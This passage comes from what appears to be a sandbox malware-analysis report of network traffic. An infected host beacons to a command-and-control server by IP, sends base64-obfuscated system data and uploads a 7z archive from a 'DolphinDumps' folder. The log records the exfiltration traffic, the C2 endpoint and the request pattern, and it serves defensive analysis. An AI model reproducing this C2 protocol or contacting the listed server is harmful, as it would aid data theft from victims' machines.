59 33 4e 6c 6c 41 58 54 4d 77 4d 69 67 7a 4d 44 49 7a 4d 79 6f 78 4e 7a 6f 6d 4d 44 45 31 4a 6a 41 77 50 43 34 31 4e 6c 6c 43 58 7a 41 71 4d 44 67 39 4b 45 45 36 58 6c 56 7a 5a 58 4a 7a 58 47 4e 6b 5a 47 39 75 63 31 35 44 63 48 42 47 59 58 52 68 58 6c 4a 6e 59 57 39 72 62 6d 64 65 52 47 31 75 63 6d 68 72 62 45 5a 31 62 58 42 78 56 48 4e 35 64 58 67 73 65 47 46 77 57 55 4a 66 4d 7a 49 79 4b 6a 4d 34 4f 54 41 78 4b 6b 45 36 58 46 56 7a 5a 58 4a 78 56 47 4e 73 5a 6d 39 73 63 56 78 42 63 6e 42 45 59 58 5a 68 56 46 4a 74 59 32 31 70 62 47 64 65 52 6d 31 73 63 6d 70 72 62 6b 52 31 62 33 68 78 58 48 46 78 64 33 49 6d 65 6d 74 79 57 55 4a 66 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAwKDkyMDE4KDM%2FOCwwMzcsMDI2Jjo3MFtCXTEwMCoxMjgzMioxNTouMjM1LjIwNCY3NllAXTMwMigzMDIzMyoxNzomMDE1JjAwPC41NllCXzAqMDg9KEE6XlVzZXJzXGNkZG9uc15DcHBGYXRhXlJnYW9rbmdeRG1ucmhrbEZ1bXBxVHN5dXgseGFwWUJfMzIyKjM4OTAxKkE6XFVzZXJxVGNsZm9scVxBcnBEYXZhVFJtY21pbGdeRm1scmprbkR1b3hxXHFxd3ImemtyWUJf
Nov 24, 2024 12:07:01.983961105 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:01 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	50050	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:01.170134068 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:02.525516987 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:02 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	50051	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:02.200848103 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:03.462672949 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:03 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	50052	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:02.721672058 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:04.021311998 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:03 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	50053	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:03.662314892 CET	97	OUT	GET /v10/ukyh.php?jspo=8 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:05.023026943 CET	336	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:04 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Content-Length: 112 Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 46 73 63 57 31 2b 4b 69 6f 69 51 6e 5a 36 64 57 64 43 64 6e 42 33 5a 79 6f 7a 4f 69 4a 6b 59 32 78 78 5a 58 35 6d 59 57 78 7a 5a 33 5a 43 64 48 4a 31 5a 79 68 6d 59 57 35 7a 5a 55 42 32 63 6e 31 6c 51 6d 52 68 62 48 46 6c 4b 43 67 6f 4b 6b 4a 6b 59 32 78 7a 5a 53 68 30 66 6b 42 6d 61 57 35 78 62 55 42 43 64 6e 42 33 5a 77 3d 3d Data Ascii: ZmFscW1+KioiQnZ6dWdCdnB3ZyozOiJkY2xxZX5mYWxzZ3ZCdHJ1ZyhmYW5zZUB2cn1lQmRhbHFlKCgoKkJkY2xzZSh0fkBmaW5xbUBCdnB3Zw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	50054	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:05.069210052 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:06.380728006 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:06 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	50055	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:05.213975906 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:06.538067102 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:06 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	50056	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:06.573904037 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:07.880842924 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:07 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	50057	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:07.287653923 CET	136	OUT	GET /v10/ukyh.php?jspo=2021&jwvs=4CA966315CCC70F4BEF0FE322EDE46 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:08.600600004 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:08 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	50058	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:08.443237066 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:09.750458956 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:09 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	50059	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:08.851373911 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:10.170840979 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:09 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	50060	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:10.131541014 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:11.452795982 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:11 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	50061	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:10.304375887 CET	294	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 833 Cache-Control: no-cache
Nov 24, 2024 12:07:10.304409981 CET	833	OUT	Data Raw: 6a 73 70 6f 3d 32 30 31 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 54 47 31 6b 64 47 6f 77 5a 48 4e 53 55 54 64 69 59 6a 41 79 4a 7a 46 47 66 6b 31 55 53 6d 35 Data Ascii: jspo=2014&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=TG1kdGowZHNSUTdiYjAyJzFGfk1USm5RaUZRfEx3JTNEJztGfE1UT3hORE8wT1RLMEVUVzFOakMyTGhPJTFGfk1RJTFMJzNEdE9DLTNGJzFGfmZqR39lV2glMEZkUkhXTm9uamJUQicwRncnMkJ1MUhrcENENDlXR2F6dG90ZW96OXlnMU1ReUJNO0NDREpp
Nov 24, 2024 12:07:11.615094900 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:11 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8
Nov 24, 2024 12:07:13.284379959 CET	295	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 1701 Cache-Control: no-cache
Nov 24, 2024 12:07:13.284379959 CET	1701	OUT	Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 49 33 4b 44 41 7a 4f 43 70 4c 4f 46 35 64 63 32 64 77 63 56 35 6a 62 6d 5a 74 5a 6e 74 65 51 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTI3KDAzOCpLOF5dc2dwcV5jbmZtZnteQ3ByRGF0YVxMbWtjbFxHbW1nbGdcQ2hwb2VlXldzZXAgRmN2YV5ScG9maW5tIjFbSF8zOjcoOjM6KEE6Xl17Z3BzXmFsZm9uc15JcnBEYXZjXExtY2FsXkdnb2VuZVxBaHBtb2VeV3FlciBGaXZhXFhwbW5pbmciMF
Nov 24, 2024 12:07:13.717500925 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:13 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8
Nov 24, 2024 12:07:15.469031096 CET	425	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 131 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 49 33 4b 44 6b 7a 4d 43 70 4c 4f 46 35 64 63 32 64 77 63 56 35 6a 62 6d 5a 74 5a 6e 74 65 51 33 42 79 52 47 46 30 59 56 78 53 62 57 6c 76 61 57 35 6e 58 6b 39 76 65 6d 74 73 62 47 46 65 52 6d 46 79 5a 32 52 76 65 46 35 62 51 6c 38 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTI3KDkzMCpLOF5dc2dwcV5jbmZtZnteQ3ByRGF0YVxSbWlvaW5nXk9vemtsbGFeRmFyZ2RveF5bQl8%3D
Nov 24, 2024 12:07:15.890384912 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:15 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8
Nov 24, 2024 12:07:17.789242029 CET	300	OUT	POST /v10/ukyh.php?uvyw=6 HTTP/1.1 Content-Type: multipart/form-data; boundary=----974767299852498929531610575 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 29950 Cache-Control: no-cache
Nov 24, 2024 12:07:17.789242029 CET	14832	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 37 34 37 36 37 32 39 39 38 35 32 34 39 38 39 32 39 35 33 31 36 31 30 35 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 Data Ascii: ------974767299852498929531610575Content-Disposition: form-data; name="file"; filename="C:\Users\user\AppData\Roaming\DolphinDumps\4CA966315CCC70F4BEF0FE322EDE46_ff.7z"Content-Type: application/octet-stream7z'h{s$
Nov 24, 2024 12:07:17.910171032 CET	13596	OUT	Data Raw: 7b d8 de eb 7f 28 50 61 ae 09 1d 30 59 db 61 30 d7 80 f8 83 3b a6 0c ea 9f 81 d8 a0 80 fe a0 20 dc eb b7 98 24 06 83 59 62 29 4f 65 0b 70 b7 fc c6 dd 7c be b6 9f cf ef f4 24 7f 8a 3c 2c ca bd 80 7b fb 70 3b 57 db c3 39 0c a3 58 88 1e a0 52 9e 8f Data Ascii: {(Pa0Ya0; $Yb)Oep\|$<,{p;W9XRNKh$(zO}IuUX@i3"WE\|2O1)'3H~R)Eu{J-9J*Eht&%(S}!NDqJU$z3
Nov 24, 2024 12:07:17.910305023 CET	1522	OUT	Data Raw: 63 f6 3b 53 1e 44 ff 43 af 0c c8 cd b7 05 33 66 bb 33 05 f8 73 36 c1 1e 5d 8a ab 19 0a 00 fa 17 38 35 6c e5 43 27 9f 2b b2 3b 22 93 79 61 53 01 57 0e 77 c4 5c e2 29 a3 30 13 d2 91 89 e0 a1 20 cc fc 41 5f 86 db c0 08 7b 3b d9 ce 97 bb fc 1a a1 64 Data Ascii: c;SDC3f3s6]85lC'+;"yaSWw\)0 A_{;d8_e:HPje=w4{8fK?V@m+?h/.tr=!l"5a#8w37>Ki0st_)k lb %,H*{{fvB8#StE
Nov 24, 2024 12:07:18.519817114 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:17 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	50062	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:11.909528017 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:13.269902945 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:13 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	50063	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:12.136986017 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:13.487483978 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:13 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	50064	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:13.720417976 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:15.038777113 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:14 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	50065	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:14.160656929 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:15.417066097 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:15 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	50066	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:15.676050901 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:16.935607910 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:16 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	50067	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:16.463442087 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:17.777966976 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:17 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	50068	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:17.184931040 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:18.531554937 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:18 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	50069	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:18.705166101 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:20.016470909 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:19 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	50070	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:19.123382092 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:20.475289106 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:20 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	50071	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:20.241075993 CET	176	OUT	GET /v10/ukyh.php?jspo=3002&melq=d460800e784d2ac37a5620f6b348df6f6&jwvs=4CA966315CCC70F4BEF0FE322EDE46 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /*
Nov 24, 2024 12:07:21.555994987 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:21 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 74 72 75 65 Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	50072	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:20.671210051 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:21.983789921 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:21 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	50073	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:21.796869993 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:23.066112995 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:22 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	50074	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:22.678447008 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:23.992279053 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:23 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	50075	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:23.249813080 CET	143	OUT	GET /v10/ukyh.php?jspo=2016&jwvs=4CA966315CCC70F4BEF0FE322EDE46&bsxa=1 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:25.674802065 CET	204	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:24 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 5 Content-Type: text/html; charset=UTF-8 Data Raw: 66 61 6c 73 65 Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	50076	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:24.175582886 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:25.440396070 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:25 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	50077	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:25.940613985 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:27.250803947 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:27 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	50078	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:26.938750982 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:28.197444916 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:27 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	50079	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:27.495776892 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
